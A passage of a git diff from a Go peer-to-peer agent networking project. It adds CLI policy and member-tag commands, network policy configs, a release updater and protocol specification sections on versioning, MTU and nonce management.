"net", 0)) + force := flagBool(flags, "force") + + if !force { + fatalCode("invalid_argument", "usage: pilotctl managed cycle --force [--net ]") + } + + d := connectDriver() + defer d.Close() + + resp, err := d.ManagedForceCycle(netID) + if err != nil { + fatalCode("connection_failed", "managed cycle: %v", err) + } + if jsonOutput { + output(resp) + } else { + fmt.Printf("cycle complete: pruned=%v filled=%v peers=%v\n", + resp["pruned"], resp["filled"], resp["peers"]) + } } -// ===================== MAILBOX ===================== +// --- Policy commands --- -// cmdReceived lists or clears files received via data exchange (port 1001). -// Files are saved to ~/.pilot/received/ by the daemon's built-in service. -func cmdReceived(args []string) { +func cmdPolicyGet(args []string) { flags, _ := parseFlags(args) + netID := uint16(flagInt(flags, "net", 0)) + if netID == 0 { + fatalCode("invalid_argument", "usage: pilotctl policy get --net ") + } - home, err := os.UserHomeDir() + d := connectDriver() + defer d.Close() + + resp, err := d.PolicyGet(netID) if err != nil { - fatalCode("internal", "cannot determine home directory") + fatalCode("connection_failed", "policy get: %v", err) } - dir := filepath.Join(home, ".pilot", "received") + output(resp) +} - if flagBool(flags, "clear") { - entries, err := os.ReadDir(dir) +func cmdPolicySet(args []string) { + flags, _ := parseFlags(args) + netID := uint16(flagInt(flags, "net", 0)) + file := flagString(flags, "file", "") + inline := flagString(flags, "inline", "") + + if netID == 0 { + fatalCode("invalid_argument", "usage: pilotctl policy set --net --file | --inline ''") + } + + var policyJSON []byte + if file != "" { + var err error + policyJSON, err = os.ReadFile(file) if err != nil { - if os.IsNotExist(err) { - fatalCode("not_found", "no received files") - } - fatalCode("internal", "read directory: %v", err) - } - count := 0 - for _, e := range entries { - if e.IsDir() { - continue - } - os.Remove(filepath.Join(dir, e.Name())) - count++ - } - if jsonOutput { - outputOK(map[string]interface{}{"cleared": count}) - } else { - fmt.Printf("cleared %d received file(s)\n", count) + fatalCode("io_error", "reading policy file: %v", err) } - return + } else if inline != "" { + policyJSON = []byte(inline) + } else { + fatalCode("invalid_argument", "provide --file or --inline") } - entries, err := os.ReadDir(dir) + // Validate locally first + doc, err := policy.Parse(policyJSON) if err != nil { - if os.IsNotExist(err) { - if jsonOutput { - output(map[string]interface{}{"files": []interface{}{}, "total": 0}) - } else { - fmt.Println("no received files") - fmt.Println(" files appear here when someone sends: pilotctl send-file ") - } - return - } - fatalCode("internal", "read directory: %v", err) + fatalCode("invalid_argument", "policy validation: %v", err) + } + if _, err := policy.Compile(doc); err != nil { + fatalCode("invalid_argument", "policy compilation: %v", err) } - var files []map[string]interface{} - for _, e := range entries { - if e.IsDir() { - continue - } - info, err := e.Info() + // Send to registry (admin-token gated) + reg := connectRegistry() + defer reg.Close() + + adminToken := flagString(flags, "admin-token", "") + if adminToken == "" { + adminToken = getAdminToken() + } + _, err = reg.SetExprPolicy(netID, policyJSON, adminToken) + if err != nil { + fatalCode("connection_failed", "set policy on registry: %v", err) + } + + // Also apply locally to daemon if running + d := connectDriver() + defer d.Close() + + resp, err := d.PolicySet(netID, policyJSON) + if err != nil { + fmt.Fprintf(os.Stderr, "warning: policy saved to registry but daemon apply failed: %v\n", err) + return + } + if jsonOutput { + output(resp) + } else { + fmt.Printf("policy set on network %d (registry + daemon)\n", netID) + } +} + +func cmdPolicyValidate(args []string) { + flags, _ := parseFlags(args) + file := flagString(flags, "file", "") + inline := flagString(flags, "inline", "") + + var policyJSON []byte + if file != "" { + var err error + policyJSON, err = os.ReadFile(file) if err != nil { - continue + fatalCode("io_error", "reading policy file: %v", err) } - files = append(files, map[string]interface{}{ - "name": e.Name(), - "bytes": info.Size(), - "modified": info.ModTime().Format(time.RFC3339), - "path": filepath.Join(dir, e.Name()), - }) + } else if inline != "" { + policyJSON = []byte(inline) + } else { + fatalCode("invalid_argument", "provide --file or --inline") + } + + doc, err := policy.Parse(policyJSON) + if err != nil { + fatalCode("invalid_argument", "validation failed: %v", err) + } + + cp, err := policy.Compile(doc) + if err != nil { + fatalCode("invalid_argument", "compilation failed: %v", err) } if jsonOutput { output(map[string]interface{}{ - "files": files, - "total": len(files), - "dir": dir, + "valid": true, + "version": doc.Version, + "rules": len(doc.Rules), + "events": countEventTypes(cp), }) - return + } else { + fmt.Printf("valid policy: %d rules\n", len(doc.Rules)) + for _, r := range doc.Rules { + fmt.Printf(" - %s (on %s): %d actions\n", r.Name, r.On, len(r.Actions)) + } } +} - if len(files) == 0 { - fmt.Println("no received files") - fmt.Println(" files appear here when someone sends: pilotctl send-file ") - return +func cmdPolicyTest(args []string) { + flags, _ := parseFlags(args) + file := flagString(flags, "file", "") + eventJSON := flagString(flags, "event", "") + + if file == "" || eventJSON == "" { + fatalCode("invalid_argument", "usage: pilotctl policy test --file --event ''") } - fmt.Printf("Received files (%s):\n\n", dir) - fmt.Printf(" %-40s %-10s %s\n", "NAME", "SIZE", "RECEIVED") - for _, f := range files { - fmt.Printf(" %-40s %-10s %s\n", - f["name"], formatBytes(uint64(f["bytes"].(int64))), f["modified"]) + policyJSON, err := os.ReadFile(file) + if err != nil { + fatalCode("io_error", "reading policy file: %v", err) } - fmt.Printf("\ntotal: %d\n", len(files)) -} -// cmdInbox lists or clears messages received via data exchange (port 1001). -// Messages are saved to ~/.pilot/inbox/ by the daemon's built-in service. -func cmdInbox(args []string) { - flags, _ := parseFlags(args) + doc, err := policy.Parse(policyJSON) + if err != nil { + fatalCode("invalid_argument", "policy: %v", err) + } + cp, err := policy.Compile(doc) + if err != nil { + fatalCode("invalid_argument", "policy: %v", err) + } - home, err := os.UserHomeDir() + var event map[string]interface{} + if err := json.Unmarshal([]byte(eventJSON), &event); err != nil { + fatalCode("invalid_argument", "event JSON: %v", err) + } + + // JSON unmarshaling puts numbers as float64; expr env expects int. + for k, v := range event { + if f, ok := v.(float64); ok { + event[k] = int(f) + } + } + + eventType, _ := event["type"].(string) + if eventType == "" { + fatalCode("invalid_argument", "event must have a 'type' field (connect, dial, datagram, cycle, join, leave)") + } + delete(event, "type") + + dirs, err := cp.Evaluate(policy.EventType(eventType), event) if err != nil { - fatalCode("internal", "cannot determine home directory") + fatalCode("invalid_argument", "evaluation: %v", err) } - dir := filepath.Join(home, ".pilot", "inbox") - if flagBool(flags, "clear") { - entries, err := os.ReadDir(dir) - if err != nil { - if os.IsNotExist(err) { - fatalCode("not_found", "inbox is empty") - } - fatalCode("internal", "read directory: %v", err) + if jsonOutput { + results := make([]map[string]interface{}, 0, len(dirs)) + for _, d := range dirs { + results = append(results, map[string]interface{}{ + "type": directiveTypeName(d.Type), + "rule": d.Rule, + "params": d.Params, + }) } - count := 0 - for _, e := range entries { - if e.IsDir() { - continue - } - os.Remove(filepath.Join(dir, e.Name())) - count++ + output(map[string]interface{}{"directives": results}) + } else { + fmt.Printf("event type: %s → %d directives\n", eventType, len(dirs)) + for _, d := range dirs { + fmt.Printf(" %s (from rule %q)\n", directiveTypeName(d.Type), d.Rule) } - if jsonOutput { - outputOK(map[string]interface{}{"cleared": count}) - } else { - fmt.Printf("cleared %d message(s)\n", count) + } +} + +func countEventTypes(cp *policy.CompiledPolicy) map[string]bool { + events := map[string]bool{} + for _, et := range []policy.EventType{ + policy.EventConnect, policy.EventDial, policy.EventDatagram, + policy.EventCycle, policy.EventJoin, policy.EventLeave, + } { + if cp.HasRulesFor(et) { + events[string(et)] = true } - return } + return events +} - entries, err := os.ReadDir(dir) +func directiveTypeName(dt policy.DirectiveType) string { + switch dt { + case policy.DirectiveAllow: + return "allow" + case policy.DirectiveDeny: + return "deny" + case policy.DirectiveScore: + return "score" + case policy.DirectiveTag: + return "tag" + case policy.DirectiveEvict: + return "evict" + case policy.DirectiveEvictWhere: + return "evict_where" + case policy.DirectivePrune: + return "prune" + case policy.DirectiveFill: + return "fill" + case policy.DirectiveWebhook: + return "webhook" + case policy.DirectiveLog: + return "log" + default: + return "unknown" + } +} + +func cmdMemberTagsSet(args []string) { + flags, _ := parseFlags(args) + netID := parseUint16(flagString(flags, "net", "0"), "net") + nodeID := flagString(flags, "node", "0") + tagsStr := flagString(flags, "tags", "") + + if netID == 0 || nodeID == "0" || tagsStr == "" { + fatalCode("invalid_argument", "usage: pilotctl member-tags set --net --node --tags tag1,tag2") + } + + nid, err := strconv.ParseUint(nodeID, 10, 32) if err != nil { - if os.IsNotExist(err) { - if jsonOutput { - output(map[string]interface{}{"messages": []interface{}{}, "total": 0}) - } else { - fmt.Println("inbox is empty") - fmt.Println(" messages appear here when someone sends: pilotctl send-message --data \"hello\"") - } - return - } - fatalCode("internal", "read directory: %v", err) + fatalCode("invalid_argument", "invalid node ID: %s", nodeID) } - var messages []map[string]interface{} - for _, e := range entries { - if e.IsDir() { - continue - } - data, err := os.ReadFile(filepath.Join(dir, e.Name())) + tags := strings.Split(tagsStr, ",") + + // If admin token is available, go directly to registry (no daemon needed) + if adminToken := getAdminToken(); adminToken != "" { + rc := connectRegistry() + defer rc.Close() + + result, err := rc.SetMemberTags(netID, uint32(nid), tags, adminToken) if err != nil { - continue + fatalCode("connection_failed", "member-tags set: %v", err) } - var msg map[string]interface{} - if err := json.Unmarshal(data, &msg); err != nil { - continue + if jsonOutput { + output(result) + return } - messages = append(messages, msg) + fmt.Printf("Member tags set for node %d in network %d: %s\n", uint32(nid), netID, strings.Join(tags, ", ")) + return + } + + d := connectDriver() + defer d.Close() + + result, err := d.MemberTagsSet(netID, uint32(nid), tags) + if err != nil { + fatalCode("connection_failed", "member-tags set: %v", err) } if jsonOutput { - output(map[string]interface{}{ - "messages": messages, - "total": len(messages), - "dir": dir, - }) + output(result) return } + fmt.Printf("Member tags set for node %d in network %d: %s\n", uint32(nid), netID, strings.Join(tags, ", ")) +} - if len(messages) == 0 { - fmt.Println("inbox is empty") - fmt.Println(" messages appear here when someone sends: pilotctl send-message --data \"hello\"") +func cmdMemberTagsGet(args []string) { + flags, _ := parseFlags(args) + netID := parseUint16(flagString(flags, "net", "0"), "net") + nodeID := flagString(flags, "node", "0") + + if netID == 0 { + fatalCode("invalid_argument", "usage: pilotctl member-tags get --net [--node ]") + } + + nid, err := strconv.ParseUint(nodeID, 10, 32) + if err != nil { + fatalCode("invalid_argument", "invalid node ID: %s", nodeID) + } + + d := connectDriver() + defer d.Close() + + result, err := d.MemberTagsGet(netID, uint32(nid)) + if err != nil { + fatalCode("connection_failed", "member-tags get: %v", err) + } + + if jsonOutput { + output(result) return } - fmt.Printf("Inbox (%d messages):\n\n", len(messages)) - for _, m := range messages { - msgType, _ := m["type"].(string) - from, _ := m["from"].(string) - ts, _ := m["received_at"].(string) - data, _ := m["data"].(string) - preview := data - if len(preview) > 80 { - preview = preview[:80] + "..." + if uint32(nid) != 0 { + if tags, ok := result["tags"].([]interface{}); ok { + tagStrs := make([]string, len(tags)) + for i, t := range tags { + tagStrs[i] = fmt.Sprint(t) + } + fmt.Printf("Node %d in network %d: %s\n", uint32(nid), netID, strings.Join(tagStrs, ", ")) + } else { + fmt.Printf("Node %d in network %d: (no tags)\n", uint32(nid), netID) + } + } else { + if members, ok := result["members"].(map[string]interface{}); ok { + for mid, tags := range members { + fmt.Printf(" node %s: %v\n", mid, tags) + } } - fmt.Printf(" [%s] from %s type=%s\n", ts, from, msgType) - fmt.Printf(" %s\n", preview) } - fmt.Printf("\nclear with: pilotctl inbox --clear\n") } diff --git a/cmd/registry/main.go b/cmd/registry/main.go index a8cff2d6..8ff8edf4 100644 --- a/cmd/registry/main.go +++ b/cmd/registry/main.go @@ -4,15 +4,15 @@ import ( "flag" "log" - "web4/pkg/config" - "web4/pkg/logging" - "web4/pkg/registry" + "github.com/TeoSlayer/pilotprotocol/pkg/config" + "github.com/TeoSlayer/pilotprotocol/pkg/logging" + "github.com/TeoSlayer/pilotprotocol/pkg/registry" ) func main() { configPath := flag.String("config", "", "path to config file (JSON)") addr := flag.String("addr", ":9000", "listen address") - beacon := flag.String("beacon", "35.193.106.76:9001", "beacon server address") + beacon := flag.String("beacon", "34.71.57.205:9001", "beacon server address") storePath := flag.String("store", "", "path to persist registry state (JSON snapshot)") tlsCert := flag.String("tls-cert", "", "TLS certificate file (empty = auto self-signed)") tlsKey := flag.String("tls-key", "", "TLS key file") diff --git a/cmd/rendezvous/main.go b/cmd/rendezvous/main.go index d9b82606..dd9b7537 100644 --- a/cmd/rendezvous/main.go +++ b/cmd/rendezvous/main.go @@ -8,12 +8,14 @@ import ( "os/signal" "syscall" - "web4/pkg/beacon" - "web4/pkg/config" - "web4/pkg/logging" - "web4/pkg/registry" + "github.com/TeoSlayer/pilotprotocol/pkg/beacon" + "github.com/TeoSlayer/pilotprotocol/pkg/config" + "github.com/TeoSlayer/pilotprotocol/pkg/logging" + "github.com/TeoSlayer/pilotprotocol/pkg/registry" ) +var version = "dev" + // rendezvous runs both registry and beacon in one process — deploy this to GCP. func main() { configPath := flag.String("config", "", "path to config file (JSON)") @@ -27,6 +29,8 @@ func main() { httpAddr := flag.String("http", "", "HTTP dashboard listen address (e.g. :3000)") logLevel := flag.String("log-level", "info", "log level (debug, info, warn, error)") logFormat := flag.String("log-format", "text", "log format (text, json)") + adminToken := flag.String("admin-token", "", "admin token for network creation (empty = creation disabled)") + dashboardToken := flag.String("dashboard-token", "", "token for per-network stats on dashboard (empty = public-only)") flag.Parse() if *configPath != "" { @@ -39,7 +43,7 @@ func main() { logging.Setup(*logLevel, *logFormat) - slog.Info("starting rendezvous server") + slog.Info("starting rendezvous server", "version", version) // Start beacon b := beacon.New() @@ -51,6 +55,12 @@ func main() { // Start registry r := registry.NewWithStore(*beaconAddr, *storePath) + if *adminToken != "" { + r.SetAdminToken(*adminToken) + } + if *dashboardToken != "" { + r.SetDashboardToken(*dashboardToken) + } if *enableTLS { if err := r.SetTLS(*tlsCert, *tlsKey); err != nil { log.Fatalf("TLS setup: %v", err) diff --git a/cmd/updater/main.go b/cmd/updater/main.go new file mode 100644 index 00000000..b8ac9130 --- /dev/null +++ b/cmd/updater/main.go @@ -0,0 +1,61 @@ +package main + +import ( + "flag" + "fmt" + "log" + "log/slog" + "os" + "os/signal" + "syscall" + "time" + + "github.com/TeoSlayer/pilotprotocol/pkg/logging" + "github.com/TeoSlayer/pilotprotocol/pkg/updater" +) + +var version = "dev" + +func main() { + interval := flag.Duration("interval", 1*time.Hour, "check interval for new releases") + repo := flag.String("repo", "TeoSlayer/pilotprotocol", "GitHub owner/repo to check for releases") + installDir := flag.String("install-dir", "", "directory containing pilot binaries (required)") + showVersion := flag.Bool("version", false, "print version and exit") + logLevel := flag.String("log-level", "info", "log level (debug, info, warn, error)") + logFormat := flag.String("log-format", "text", "log format (text, json)") + flag.Parse() + + if *showVersion { + fmt.Println(version) + os.Exit(0) + } + + if *installDir == "" { + log.Fatal("-install-dir is required") + } + + logging.Setup(*logLevel, *logFormat) + + slog.Info("pilot-updater starting", + "version", version, + "repo", *repo, + "install_dir", *installDir, + "interval", *interval, + ) + + u := updater.New(updater.Config{ + CheckInterval: *interval, + Repo: *repo, + InstallDir: *installDir, + Version: version, + }) + + u.Start() + + sig := make(chan os.Signal, 1) + signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM) + <-sig + + slog.Info("shutting down") + u.Stop() +} diff --git a/configs/daemon.json b/configs/daemon.json index dfa99399..f28d0fd8 100644 --- a/configs/daemon.json +++ b/configs/daemon.json @@ -1,11 +1,11 @@ { - "registry": "35.193.106.76:9000", - "beacon": "35.193.106.76:9001", + "registry": "34.71.57.205:9000", + "beacon": "34.71.57.205:9001", "listen": ":4000", "socket": "/tmp/pilot.sock", "encrypt": true, - "identity": "/var/lib/pilot/identity.key", - "owner": "", + "identity": "/var/lib/pilot/identity.json", + "email": "", "log-level": "info", "log-format": "text" } diff --git a/configs/networks/data-exchange-policy.json b/configs/networks/data-exchange-policy.json new file mode 100644 index 00000000..5b2cabf9 --- /dev/null +++ b/configs/networks/data-exchange-policy.json @@ -0,0 +1,57 @@ +{ + "name": "data-exchange", + "join_rule": "open", + "expr_policy": { + "version": 1, + "rules": [ + { + "name": "service-connect", + "on": "connect", + "match": "has_tag(local_tags, \"service\") || has_tag(peer_tags, \"service\")", + "actions": [{"type": "allow"}] + }, + { + "name": "service-dial", + "on": "dial", + "match": "has_tag(local_tags, \"service\") || has_tag(peer_tags, \"service\")", + "actions": [{"type": "allow"}] + }, + { + "name": "block-peer-connect", + "on": "connect", + "match": "true", + "actions": [{"type": "deny"}] + }, + { + "name": "block-peer-dial", + "on": "dial", + "match": "true", + "actions": [{"type": "deny"}] + }, + { + "name": "allow-echo", + "on": "datagram", + "match": "port == 7", + "actions": [{"type": "allow"}] + }, + { + "name": "allow-text", + "on": "datagram", + "match": "port == 1000", + "actions": [{"type": "allow"}] + }, + { + "name": "allow-service-files", + "on": "datagram", + "match": "port == 1001 && ((direction == \"out\" && has_tag(local_tags, \"service\")) || (direction == \"in\" && has_tag(peer_tags, \"service\")))", + "actions": [{"type": "allow"}] + }, + { + "name": "deny-other-data", + "on": "datagram", + "match": "true", + "actions": [{"type": "deny"}] + } + ] + } +} diff --git a/configs/networks/high-trust-society.json b/configs/networks/high-trust-society.json new file mode 100644 index 00000000..3db0f615 --- /dev/null +++ b/configs/networks/high-trust-society.json @@ -0,0 +1,40 @@ +{ + "name": "high-trust-society", + "join_rule": "open", + "expr_policy": { + "version": 1, + "config": {"cycle": "24h"}, + "rules": [ + { + "name": "trust-decay", + "on": "cycle", + "match": "trusted_count > 100", + "actions": [{"type": "prune_trust", "params": {"percent": 10, "min": 100, "by": "score"}}] + }, + { + "name": "trust-fill", + "on": "cycle", + "match": "trusted_count < 100", + "actions": [{"type": "fill_trust", "params": {"target": 100}}] + }, + { + "name": "score-connections", + "on": "connect", + "match": "true", + "actions": [ + {"type": "score", "params": {"delta": 1}}, + {"type": "allow"} + ] + }, + { + "name": "score-datagrams", + "on": "datagram", + "match": "true", + "actions": [ + {"type": "score", "params": {"delta": 1}}, + {"type": "allow"} + ] + } + ] + } +} diff --git a/configs/networks/trust-decay.json b/configs/networks/trust-decay.json new file mode 100644 index 00000000..cd6ca793 --- /dev/null +++ b/configs/networks/trust-decay.json @@ -0,0 +1,22 @@ +{ + "name": "trust-decay", + "join_rule": "open", + "expr_policy": { + "version": 1, + "config": {"cycle": "24h"}, + "rules": [ + { + "name": "trust-decay", + "on": "cycle", + "match": "trusted_count > 100", + "actions": [{"type": "prune_trust", "params": {"percent": 10, "min": 100, "by": "score"}}] + }, + { + "name": "trust-fill", + "on": "cycle", + "match": "trusted_count < 100", + "actions": [{"type": "fill_trust", "params": {"target": 100}}] + } + ] + } +} diff --git a/docs/SPEC.md b/docs/SPEC.md index 706bc592..521fbb5a 100644 --- a/docs/SPEC.md +++ b/docs/SPEC.md @@ -15,16 +15,17 @@ Addresses are 48-bit, split into two fields: ### 1.2 Text Representation -Format: `N:XXXX.YYYY.YYYY` +Format: `N:NNNN.HHHH.LLLL` - `N` -- network ID in decimal -- Node ID -- three dot-separated groups of 4 hex digits +- `NNNN` -- network ID in hex (must match `N`) +- `HHHH.LLLL` -- 32-bit node ID as two dot-separated groups of 4 hex digits Examples: - `0:0000.0000.0001` -- Node 1 on the backbone -- `1:00A3.F291.0004` -- Node on network 1 +- `1:0001.F291.0004` -- Node 0xF2910004 on network 1 -Socket address includes a port: `1:00A3.F291.0004:1000` +Socket address includes a port: `1:0001.F291.0004:1000` ### 1.3 Special Addresses @@ -34,7 +35,7 @@ Socket address includes a port: `1:00A3.F291.0004:1000` | `0:0000.0000.0001` | Registry | | `0:0000.0000.0002` | Beacon | | `0:0000.0000.0003` | Nameserver | -| `X:FFFF.FFFF.FFFF` | Broadcast on network X | +| `X:XXXX.FFFF.FFFF` | Broadcast on network X (XXXX = X in hex, node = all-ones) | --- @@ -64,6 +65,8 @@ Socket address includes a port: `1:00A3.F291.0004:1000` | 1000 | Standard I/O | Text stream between agents | | 1001 | Data exchange | Typed frames (text, binary, JSON, file) | | 1002 | Event stream | Pub/sub with topic filtering | +| 1003 | Task submit | Task submission and lifecycle | +| 1004 | Managed score | Polo score exchange for managed networks | --- @@ -166,7 +169,8 @@ When tunnel encryption is active (default): [ciphertext + 16-byte GCM tag] ``` -Encryption: AES-256-GCM. Key derived from X25519 ECDH exchange. +Encryption: AES-256-GCM with HKDF-SHA256 key derivation (info: "pilot-tunnel-v1"). +Key derived from X25519 ECDH exchange. The sender's Node ID is used as GCM Additional Authenticated Data (AAD). ### 4.3 Key Exchange Frame @@ -192,6 +196,15 @@ Authenticated key exchange (with Ed25519 identity): The signature covers: `"auth"` + Node ID (4 bytes) + X25519 public key (32 bytes). +### 4.5 NAT Punch Frame + +``` +[4-byte magic: 0x50494C50 ("PILP")] +[4-byte sender Node ID] +``` + +Sent during hole-punching to create NAT mappings. Contains no payload beyond the sender identification. + --- ## 5. Session State Machine @@ -270,6 +283,52 @@ Maximum message size: 1 MB (1,048,576 bytes). | 0x0E | InfoOK | Daemon -> Driver | `[NB JSON]` | | 0x0F | Handshake | Driver -> Daemon | `[1B sub-cmd][NB payload]` | | 0x10 | HandshakeOK | Daemon -> Driver | `[NB JSON]` | +| 0x11 | ResolveHostname | Driver -> Daemon | `[NB hostname]` | +| 0x12 | ResolveHostnameOK | Daemon -> Driver | `[NB JSON]` | +| 0x13 | SetHostname | Driver -> Daemon | `[NB hostname]` | +| 0x14 | SetHostnameOK | Daemon -> Driver | `[NB JSON]` | +| 0x15 | SetVisibility | Driver -> Daemon | `[1B public]` | +| 0x16 | SetVisibilityOK | Daemon -> Driver | `[NB JSON]` | +| 0x17 | Deregister | Driver -> Daemon | (empty) | +| 0x18 | DeregisterOK | Daemon -> Driver | `[NB JSON]` | +| 0x19 | SetTags | Driver -> Daemon | `[NB JSON]` | +| 0x1A | SetTagsOK | Daemon -> Driver | `[NB JSON]` | +| 0x1B | SetWebhook | Driver -> Daemon | `[NB URL]` | +| 0x1C | SetWebhookOK | Daemon -> Driver | `[NB JSON]` | +| 0x1D | SetTaskExec | Driver -> Daemon | `[1B enabled]` | +| 0x1E | SetTaskExecOK | Daemon -> Driver | `[NB JSON]` | +| 0x1F | Network | Driver -> Daemon | `[1B sub-cmd][NB payload]` | +| 0x20 | NetworkOK | Daemon -> Driver | `[NB JSON]` | +| 0x21 | Health | Driver -> Daemon | (empty) | +| 0x22 | HealthOK | Daemon -> Driver | `[NB JSON]` | +| 0x23 | Managed | Driver -> Daemon | `[1B sub-cmd][NB payload]` | +| 0x24 | ManagedOK | Daemon -> Driver | `[NB JSON]` | + +### 6.2 Network Sub-Commands + +The Network command (0x1F) uses a sub-command byte as the first byte of the payload: + +| Sub-Cmd | Name | Payload | +|---------|------|---------| +| 0x01 | List | (empty) | +| 0x02 | Join | `[2B network_id][NB token]` | +| 0x03 | Leave | `[2B network_id]` | +| 0x04 | Members | `[2B network_id]` | +| 0x05 | Invite | `[2B network_id][4B node_id]` | +| 0x06 | PollInvites | (empty) | +| 0x07 | RespondInvite | `[2B network_id][1B accept]` | + +### 6.3 Managed Sub-Commands + +The Managed command (0x23) uses a sub-command byte as the first byte of the payload: + +| Sub-Cmd | Name | Payload | +|---------|------|---------| +| 0x01 | Score | `[2B network_id][4B node_id][4B delta][NB topic]` | +| 0x02 | Status | `[2B network_id]` | +| 0x03 | Rankings | `[2B network_id]` | +| 0x04 | Cycle | `[2B network_id]` | +| 0x05 | Policy | `[2B network_id][NB JSON]` | --- @@ -335,3 +394,114 @@ Byte 4-7: 0x00000001 (sender node ID=1) Byte 8-19: [12-byte nonce] Byte 20+: [ciphertext + 16-byte GCM tag] ``` + +--- + +## 8. Version Negotiation + +### 8.1 Version Field + +The 4-bit Version field in the packet header identifies the protocol version. The current version is `1`. + +### 8.2 SYN Version Handshake + +The initiator includes its protocol version in the SYN packet's Version field. The responder checks the version and: + +- If the version is supported, echoes the same version in the SYN-ACK. +- If the version is unsupported, sends RST with no payload. + +Both sides MUST use the same version for the duration of a connection. There is no version downgrade negotiation — if the versions do not match, the connection is refused. + +### 8.3 Non-SYN Packets + +For non-SYN packets (data, ACK, FIN), the receiver checks the Version field. If the version does not match the connection's established version, the packet is silently discarded. Implementations SHOULD log discarded packets at debug level. + +### 8.4 Future Versions + +Future protocol versions MAY extend the header format. Implementations MUST NOT assume a fixed header size based on the version field — they should use the version to determine the header layout. Version `0` is reserved and MUST NOT be used. + +--- + +## 9. Path MTU Considerations + +### 9.1 Maximum Segment Size + +The default MSS is 4,096 bytes. This is the maximum payload per Pilot Protocol packet before automatic segmentation splits a write into multiple segments. + +### 9.2 Encapsulation Overhead + +The total overhead per encrypted tunnel packet is: + +| Component | Size | +|-----------|------| +| PILS magic | 4 bytes | +| Sender Node ID | 4 bytes | +| GCM nonce | 12 bytes | +| Pilot header | 34 bytes | +| GCM auth tag | 16 bytes | +| **Total overhead** | **70 bytes** | + +For plaintext tunnel packets (PILT), the overhead is 4 bytes (magic) + 34 bytes (header) = 38 bytes. + +### 9.3 Effective Payload + +Given a typical Internet path MTU of 1,500 bytes (Ethernet) and 8 bytes UDP header + 20 bytes IP header: + +- Available for Pilot: 1,500 - 28 = 1,472 bytes +- Encrypted payload capacity: 1,472 - 70 = 1,402 bytes +- Plaintext payload capacity: 1,472 - 38 = 1,434 bytes + +The default MSS of 4,096 bytes exceeds the typical single-packet capacity. This means most full-MSS segments will be fragmented at the IP layer into 3 IP fragments. This is acceptable on most modern networks but may cause issues on paths with PMTU < 1,500 bytes or where IP fragmentation is blocked. + +### 9.4 Recommendations + +- For Internet-facing deployments, an MSS of 1,400 bytes avoids IP fragmentation on virtually all paths. +- For local or datacenter deployments, the default 4,096 MSS is safe (typical jumbo frame MTU is 9,000 bytes). +- Implementations SHOULD provide a configurable MSS option. +- Implementations SHOULD NOT set the DF (Don't Fragment) bit on UDP datagrams, allowing IP-layer fragmentation as a fallback. + +--- + +## 10. Nonce Management + +### 10.1 Tunnel Encryption Nonces + +AES-256-GCM requires a unique 96-bit (12-byte) nonce for every encryption operation under the same key. Nonce reuse under the same key is catastrophic — it allows plaintext recovery and forgery. + +### 10.2 Nonce Construction + +Each tunnel session generates a nonce as follows: + +``` +[4-byte random prefix][8-byte monotonic counter] +``` + +- **Random prefix**: 4 bytes generated from a cryptographically secure random source (`crypto/rand`) when the tunnel session is established. This prefix is unique per session with overwhelming probability. +- **Monotonic counter**: 8-byte unsigned integer, starting at 0, incremented by 1 for each packet encrypted. The counter MUST NOT be reset within a session. + +### 10.3 Session Lifecycle + +A new tunnel session is established when: + +1. Two daemons perform an X25519 key exchange (PILK or PILA frame). +2. Both sides derive a fresh AES-256-GCM key from the ECDH shared secret. +3. Both sides generate a new random nonce prefix. + +A new key exchange produces a new key and new nonce prefix. Old nonces cannot collide with new nonces because the key is different. + +### 10.4 Counter Exhaustion + +The 8-byte counter supports 2^64 packets per session. At 1 million packets per second, a single session would last over 584,000 years before counter exhaustion. Implementations MUST close the tunnel and re-key if the counter reaches 2^64 - 1. In practice, this condition is unreachable. + +### 10.5 Application-Layer Nonces (Port 443) + +The secure channel on port 443 uses a separate nonce scheme: + +``` +[4-byte role prefix][8-byte monotonic counter] +``` + +- **Role prefix**: `0x00000001` for server, `0x00000002` for client. Fixed per role to prevent nonce collision between the two sides. +- **Counter**: 8-byte unsigned integer starting at 0, incremented per encryption. + +Each secure connection performs its own X25519 key exchange and HKDF-SHA256 key derivation (info: "pilot-secure-v1"), so nonce uniqueness is guaranteed per-key. The sender's nonce prefix (first 4 bytes) is used as GCM AAD on both sides. diff --git a/docs/WHITEPAPER.tex b/docs/WHITEPAPER.tex index df8e2e7c..46ec143d 100644 --- a/docs/WHITEPAPER.tex +++ b/docs/WHITEPAPER.tex @@ -244,7 +244,7 @@ \subsection{Registry} \item \textbf{Heartbeats.} Nodes ping the Registry periodically to confirm liveness. \end{itemize} -\textbf{Persistence.} The Registry supports atomic JSON snapshots (\texttt{-store path/to/registry.json}). Every state mutation---node registration, network creation, network join, deregistration, stale-node reaping---triggers a save. The snapshot captures all nodes, networks, membership lists, public keys, owner bindings, trust pairs, and ID counters. On restart, the Registry loads the snapshot and resumes operation with all state intact. Writes use a temporary file with \texttt{os.Rename} for crash safety---the store file is never partially written. +\textbf{Persistence.} The Registry supports atomic JSON snapshots (\texttt{-store path/to/registry.json}). Every state mutation---node registration, network creation, network join, deregistration, stale-node reaping---triggers a save. The snapshot captures all nodes, networks, membership lists, public keys, email bindings, trust pairs, and ID counters. On restart, the Registry loads the snapshot and resumes operation with all state intact. Writes use a temporary file with \texttt{os.Rename} for crash safety---the store file is never partially written. \textbf{TLS.} The Registry supports TLS transport (\texttt{-tls-cert}, \texttt{-tls-key}). When configured, all control-plane traffic---registrations, lookups, heartbeats---is encrypted in transit. @@ -274,7 +274,7 @@ \subsection{Daemon} \begin{enumerate} \item Discovers its public endpoint via the Beacon \item Loads persisted Ed25519 identity (if configured) - \item Registers with the Registry, receiving a virtual address (or reclaiming an existing one via identity or owner) + \item Registers with the Registry, receiving a virtual address (or reclaiming an existing one via identity or email) \item Generates an ephemeral X25519 keypair for tunnel encryption (enabled by default) \item Opens a Unix domain socket (mode 0600) for local drivers to connect \item Starts the trust handshake service on port~444 (if identity available) @@ -456,18 +456,18 @@ \subsection{pilotctl} pilotctl lookup 3 pilotctl deregister -# Key rotation via signature or owner recovery +# Key rotation via signature or email recovery pilotctl rotate-key 3 agent-a@pilot \end{lstlisting} -The \texttt{info} command provides a comprehensive view of daemon state, including identity status (ephemeral vs.\ persistent Ed25519), owner binding, encryption mode, authenticated peer count, and per-connection statistics (bytes, segments, retransmissions, SACK blocks, duplicate ACKs, congestion window, in-flight data, SRTT, RTTVAR, and recovery status). The \texttt{peers} command shows each peer's real endpoint, whether the tunnel is encrypted, and whether the key exchange was authenticated with Ed25519 signatures. +The \texttt{info} command provides a comprehensive view of daemon state, including identity status 